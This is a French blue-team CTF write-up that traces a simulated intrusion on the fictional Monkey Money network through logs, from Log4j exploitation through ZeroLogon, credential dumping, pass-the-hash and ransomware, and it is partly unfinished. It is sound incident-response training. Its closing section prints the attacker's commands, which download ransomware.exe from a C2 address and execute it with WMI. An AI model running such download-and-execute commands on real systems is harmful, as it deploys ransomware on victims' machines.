Page cover image

🐒Monkey Money​ Challenge

https://app.malizen.com

Ce WU n'est pas tout à fait terminé :), notamment sur les 3 dernières catégories MITRE.

1️⃣ - Contexte du challenge

🔦 Défi CTF - Alerte aux Threat Hunters ! 🔦 Nous sommes ravis de vous annoncer le lancement d'un nouveau #blueteam #ctf en ligne sur notre plateforme Community Malizen ! 💥 Le scénario ➡ Vous êtes un analyste de choc de l'équipe de réponse à incidents, appelé en renfort par Monkey Money, la célèbre start-up en NFT. Leur SI est à l'arrêt complet suite à une attaque. Mais bonne nouvelle, Monkey Money a réussi à extraire une montagne de #logs pendant la période de l'incident, et c'est là que vous entrez en jeu. Ces données ont été mises à votre disposition grâce à la plateforme de simulation M&NTIS d'AMOSSYS, et elles n'attendent que vous pour être analysées ! ❤️❤️❤️ Votre mission, si vous l'acceptez ➡ Utilisez notre plateforme d'analyse de logs pour traquer l'attaque et mettre la main sur ces #flags le plus vite possible. Etes-vous prêt à relever le défi ? Mais attendez, ce n'est pas tout ! ➡ Remportez le Nice Flag Trophy 😉 ! Des récompenses exceptionnelles sont en jeu. Pour celles ou ceux qui trouveront tous les flags en un temps record, des cartes cadeaux zubii.com à gagner ! 🎁 Alors, prêts à relever le défi ? Le compte à rebours est lancé, vous avez jusqu'au 3 octobre pour participer. #capturetheflag #blueteam #threathunting #incidentresponse #loganalysis

2️⃣​ - Contexte du lab

Here's what you need to know

In this game scenario developed through M&NTIS Platform, you must explore logs of the information system of Monkey Money, that has suffered a cyber attack. On January 19th 2023, the information system of the startup stopped working altogether. The employees were no longer able to log on to their workstations. The cause seemed to be that the domain controller was not responding. You are an analyst within the incident response team of the CERTIFLEX company, called to help on this breach. The startup MonkeyMoney was able to extract the different logs of the information system during the presumed period of the attack. The dataset for this challenge has been developed by AMOSSYS through M&NTIS Platform. It allows simulating an entire corporate network, launching attack scenarios, emulating user actions, etc., all while collecting traces, mainly under the form of network captures (PCAPs) or or system and application logs.

3️⃣​ - Challenge

On a quoi à notre disposition ?

  • 400 Mo de Logs

  • Des événements linux

  • Des événements windows

  • Des événements suricata

Exemple key:value linuxExemple key:value windows

Début des recherches

Voici ce qu'il faut trouver pour réussir le challenge au début :

Oui on est aveugle.

Pour la compréhension du WU, voici ce qu'il fallait trouver :

Il ne faut pas forcément trouver l'ensemble des artefacts pour réussir le challenge, mais en trouver au moins 1 dans chaque sous catégorie.

CatégorieSous-catégorieArtefacts

Command and Control - Log4j exploit to gain access to the webserver

  • Ingress tool transfer

5

EeExecution & Ressource Development - Obtaining access to other machines

  • Command and scripting Interpreter

  • Acquire Infrastructure

  • Stage Capabilities

3 2 3

Discovery - Exploring the network, machines, files, users...

  • System service discovery

  • File and directory discovery

  • Account discovery

  • Software discovery

  • Network service discovery

  • Gather victim network information

2 2 4 2 2 2

Credential Access & Lateral Movement - Moving from victim to victim using secrets

  • OS credential dumping

  • Exploitation of remote services

1

Lateral Movement - Moving to the final target

  • Remote services - Windows remote management

1

Impact - Launching the final attack: the ransomware

  • Data encrypted for impact

1

Command and Control - Log4j exploit to gain access to the webserver

Ingress tool transfer

En regardant le schéma, on remarque qu'un des points d'entrée sur le SI est le webserver (192.168.101.3) exposé via la DMZ. Je place donc les filtres suivants :

  • destination.ip = 192.168.101.3

  • destination.port = 80

  • destination.port = 8080

  • source.ip = 192.168.40.1

On découvre sur la card "event.original", un log suricata avec comme signature "ET EXPLOIT Apache log4j RCE Attempt - lower/upper TCP Bypass M1 (CVE-2021-44228)".

On peut apporter plus de détail en ajoutant les cards "file.target_path" et "http.request.method" :

On note aussi l'heure : 2023-01-19T14:02:44


Execution & Ressource Development - Obtaining access to other machines

Command and scripting Interpreter

On estime que l'exploit de l'attaquant a réussi. Par conséquent, log4j lui confère un accès en ligne de commande sur le serveur. On peut maintenir filtrer en ip source sur le webserver et en utilisant la card "vulnerability.category" de suricata avec la valeur "Potentially Bad Traffic" :

On découvre à 14:02:45 le téléchargement d'un fichier "Main.class", fichier qui va certainement remplacer le "Main.class" de l'application en production sur le serveur et permettre à l'attaquant de prendre la main à distance. De plus, le User-Agent "Java/1.8.0_102" montre que le téléchargement de ce fichier est bien initié par l'application vulnérable.

Nous avons donc l'IP d'un potentiel C2 : 91.218.114.3 et le nom d'un script pour la suite des événements : payload.ps1

Acquire Infrastructure

L'attaquant récupère donc son fichier payload.ps1 à 14:19:20 avec les droits root depuis webserver :

Stage Capabilities

A partir de l'IP qui a permis à l'attaquant de prendre le main sur le webserver, nous pouvons appliquer un filtre pour connaitre les autres actions qu'il a effectué avec ce serveur.

  • destination.ip = 91.218.114.3

On découvre que l'attaquant a téléchargé 5 fichiers en plus de Main.class et payload.ps1 :

  • set_empty_pw.exe

  • rebond.exe

  • ransomware.exe

  • secretsdump.exe

Plus grave encore, il semble que les machines 192.168.101.5 (NTP) et 192.168.104.2 (AD) ont elle aussi intéragit avec le C2.


Discovery - Exploring the network, machines, files, users

A travers l'étape précédente, on peut voir les fichiers récupérés par les machines :

HostsIPFilesDatetime

WEBSERVER

192.168.101.3

Main.class payload.ps1

14:02:45 14:19:20

NTP

192.168.101.5

set_empty_pw.exe secretsdump.exe

rebond.exe

14:47:46 14:48:26 14:48:44

DC

192.168.104.2

ransomware.exe

14:59:19

Je commence par analyser ce qu'il c'est passé sur le webserver entre 14h02 et 14h19 car le délai est assez important.

Je filtre en source.ip = 192.168.101.3 pour identifier de nouvelles communications.

IP DSTRequestCommentaire

91.218.114.2

HTTP /register (14:02:46) HTTP /actions (14:03:18 à 15:02:27) HTTP /response (14:19:20) HTTP /ack (14:19:20)

Trafic très important +1.8K URL d'un nouveau C2 ? UA = Java/1.8.0_102

91.218.114.3

HTTP /Main.class (14:02:45) HTTP /payload.ps1 (14:19:20)

Log4j, point d'entrée

91.218.114.4

ET POLICY Anonymous LDAPv3 Bind Request Outbound (14:02:45)

Log4j exploit

192.168.101.4

DNS sans risque

Seulement des requêtes vers ubuntu.com

192.168.101.5

HTTP /update_system.ps1

Requête HTTP sur un serveur NTP pour récupérer un ps1 ??

192.168.101.1

DHCP

Sans risque

192.168.105.3

Logstash

Sans risque, envoie de logs

On découvre que l'attaquant pilote son attaque depuis 3 IPs. Le serveur qui répond en 91.218.114.2 permet à l'attaquant de passer des actions aux machines infectées.

J'applique un filtre sur source.ip = 91.218.114.2

On découvre une nouvelle machine infectée : 192.168.33.12 (CLIENT2) (14:49).

Pour aller plus loin, je filtre sur destination.ip = 192.168.33.12.

On découvre que CLIENT2 a lui aussi communiqué avec 192.168.101.5, 192.168.104.2 et le C2.

On peut affirmer que le serveur NTP mène l'attaque par rapport à webserver qui n'a servi que de point d'entrée. Cependant, je suis incapable de déterminer comme celui-ci a été infecté puisque les logs ne montrent rien.

Un petit schéma pour savoir ou on en est :

Je continue la suite des recherches en placant le serveur NTP en source.ip.

Pour rappel, il dispose des fichiers suivant :

  • set_empty_pw.exe 14:47:46

  • secretsdump.exe 14:48:26

  • rebond.exe 14:48:44


Credential Access & Lateral Movement - Moving from victim to victim using secrets

OS credential dumping

On apprend dans l'article suivant, que le binaire set_empty_pw est généralement relié à des exploits ZeroLogon (CVE-2020-1472) :

Pour cette vulnérabilité, l'attaquant a simplement besoin du nom de domaine, du nom du DC et de son adresse IP. Avec sa présence sur CLIENT2, il récupère les infos facilement car il est intégré au domaine.

Dump des secrets de la base SAM via secretsdump (impacket) présent sur le PC CLIENT2 (14:48:33) :

Exploitation of remote services

14:48:51 rebond.exe - Connexion pass the hash en Administrateur sur l'AD


Lateral Movement - Moving to the final target

Remote services - Windows remote management

winrm https://book.hacktricks.xyz/network-services-pentesting/5985-5986-pentesting-winrm


Impact - Launching the final attack: the ransomwae

Data encrypted for impact

Le binaire ransomware.exe est executé via powershell à 14:59:32 sur le controleur de domaine.


wget http://91.218.114.3/ransomware.exe -Outfile C:\Users\Public\ransomware.exe

Invoke-WmiMethod -path win32_process -name create -argumentlist 'C:\Users\Public\ransomware.exe'

Dernière mise à jour